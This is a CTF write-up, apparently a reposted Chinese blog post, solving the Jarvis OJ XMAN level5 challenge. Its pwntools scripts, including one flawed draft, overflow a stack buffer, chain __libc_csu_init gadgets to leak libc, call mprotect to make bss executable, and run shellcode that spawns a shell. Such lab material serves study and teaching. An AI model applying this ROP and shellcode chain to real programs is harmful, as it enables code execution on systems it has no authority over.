[XMAN]level5 Jarvis OJ

思路:bss段刚开始是不可执行的,从通用的想要执行bss必须执行mprotect函数来更改bss段的权限(改为7即可读可写可执行)。但是想要获取到mprotect函数必须获取到libc版本。还是少不了上次的泄露libc函数,这里泄露的时候也直接用通用gedit减少不必要的操作,减少错误。
泄露获取libc–>获取到mprotect函数来改写bss段的权限–>把shellcode写入到bss段–>执行bss段的内容。

这里需要调用mmap或者mprotect函数都是有三个参数,不能再向之前一样碰运气,要专业点直接定位到对应位置。上次的行不通就用下面的一个通用gedit

gdb-peda$ disas 
Dump of assembler code for function __libc_csu_init:
   0x0000000000400650 <+0>: push   r15
   0x0000000000400652 <+2>: mov    r15d,edi
   0x0000000000400655 <+5>: push   r14
   0x0000000000400657 <+7>: mov    r14,rsi
   0x000000000040065a <+10>:    push   r13
   0x000000000040065c <+12>:    mov    r13,rdx
   0x000000000040065f <+15>:    push   r12
   0x0000000000400661 <+17>:    lea    r12,[rip+0x2001d8]        # 0x600840
   0x0000000000400668 <+24>:    push   rbp
   0x0000000000400669 <+25>:    lea    rbp,[rip+0x2001d8]        # 0x600848
   0x0000000000400670 <+32>:    push   rbx
   0x0000000000400671 <+33>:    sub    rbp,r12
   0x0000000000400674 <+36>:    xor    ebx,ebx
   0x0000000000400676 <+38>:    sar    rbp,0x3
   0x000000000040067a <+42>:    sub    rsp,0x8
   0x000000000040067e <+46>:    call   0x400480 <_init>
   0x0000000000400683 <+51>:    test   rbp,rbp
   0x0000000000400686 <+54>:    je     0x4006a6 <__libc_csu_init+86>
   0x0000000000400688 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400690 <+64>:    mov    rdx,r13
   0x0000000000400693 <+67>:    mov    rsi,r14
   0x0000000000400696 <+70>:    mov    edi,r15d
   0x0000000000400699 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040069d <+77>:    add    rbx,0x1
   0x00000000004006a1 <+81>:    cmp    rbx,rbp
   0x00000000004006a4 <+84>:    jne    0x400690 <__libc_csu_init+64>
   0x00000000004006a6 <+86>:    add    rsp,0x8
   0x00000000004006aa <+90>:    pop    rbx
   0x00000000004006ab <+91>:    pop    rbp
   0x00000000004006ac <+92>:    pop    r12
   0x00000000004006ae <+94>:    pop    r13
   0x00000000004006b0 <+96>:    pop    r14
   0x00000000004006b2 <+98>:    pop    r15
   0x00000000004006b4 <+100>:   ret    
End of assembler dump.

这里显示了__libc_csu_init函数的内容。如果执行完0x00000000004006aa地址处后ret后面跟的是0x0000000000400690 会给rdi,rsi,rdx三个寄存器赋值。然后执行call而call的地址我们也能控制最终返回到main函数。

from pwn import *
context.log_level="debug"
p=process("./level3_x64")
elf=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
bss_addr=0x0000000000600a88
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

上面代码有一点需要注意:给r12的值是write_got(write_got是指向函数首地址的一个指针)也就是说这里call的是只想一个地址处的指针ptr[]表示取地址。

call本身call的是要执行函数的首地址

   0x40062e <main+20>:  call   0x4005e6 <vulnerable_function>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc0 --> 0x400650 (<__libc_csu_init>:   push   r15)
0008| 0x7fffffffddc8 --> 0x7ffff7801b97 (<__libc_start_main+231>:   mov    edi,eax)
0016| 0x7fffffffddd0 --> 0x1 
0024| 0x7fffffffddd8 --> 0x7fffffffdea8 --> 0x7fffffffe212 ("/home/liu/桌面/oj/level5_x64/level3_x64")
0032| 0x7fffffffdde0 --> 0x100008000 
0040| 0x7fffffffdde8 --> 0x40061a (<main>:  push   rbp)
0048| 0x7fffffffddf0 --> 0x0 
0056| 0x7fffffffddf8 --> 0x1e88863ca3cbee78 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000000000040061e in main ()
gdb-peda$ x /10i 0x4005e6
   0x4005e6 <vulnerable_function>:  push   rbp
   0x4005e7 <vulnerable_function+1>:    mov    rbp,rsp
   0x4005ea <vulnerable_function+4>:    add    rsp,0xffffffffffffff80
   0x4005ee <vulnerable_function+8>:    mov    edx,0x7
   0x4005f3 <vulnerable_function+13>:   mov    esi,0x4006d4
from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)



mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)
raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(mprotect_addr)#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.recvuntil("Input:\n")
p.sendline(payload)
#sleep(1)
raw_input()
##########set bss=shellcode
shellcode=asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss())
p.sendline(payload)

p.interactive()

这里就犯了个刚才说的错

payload+=p64(1)+p64(mprotect_addr)#rbp,r12

这里的mprotect_addr是执行不了的.想让mprotect执行有一个好办法就是把mprotect放到一个已经知道地址的地方去。这里有现成的,bss段

from pwn import *
context(arch='amd64',os='linux')
context.log_level="debug"
p=process("./level3_x64")
libc=ELF("./libc6_2.27-3ubuntu1_amd64.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa
rop2=0x0000000000400690
main_addr=0x000000000040061A

#raw_input()
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["write"])#rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

#############leak write_got#########################
p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(1)
print "write_addr="+hex(write_addr)

mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)

##########set bss=shellcode
shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode=",len(shellcode)
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.got["read"])#rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

raw_input()
#########set bss size=0x1000 power=7
payload="A"*0x88+p64(rop1)+p64(0)#rbx
payload+=p64(1)+p64(elf.bss())#rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000)#rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)

p.interactive()

这里有一点关于mprotect的注意点:mprotect的第一个参数标识要写的内存页的首地址。这里是以页为单位访问。一页是4kb也就是0x1000字节所以mprotect的第一个参数必须是0x1000的倍数。第二个参数标识要设置的权限的地址的范围。这个多少都无所谓,不过需要把bss段包含进去。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/80984318
今日推荐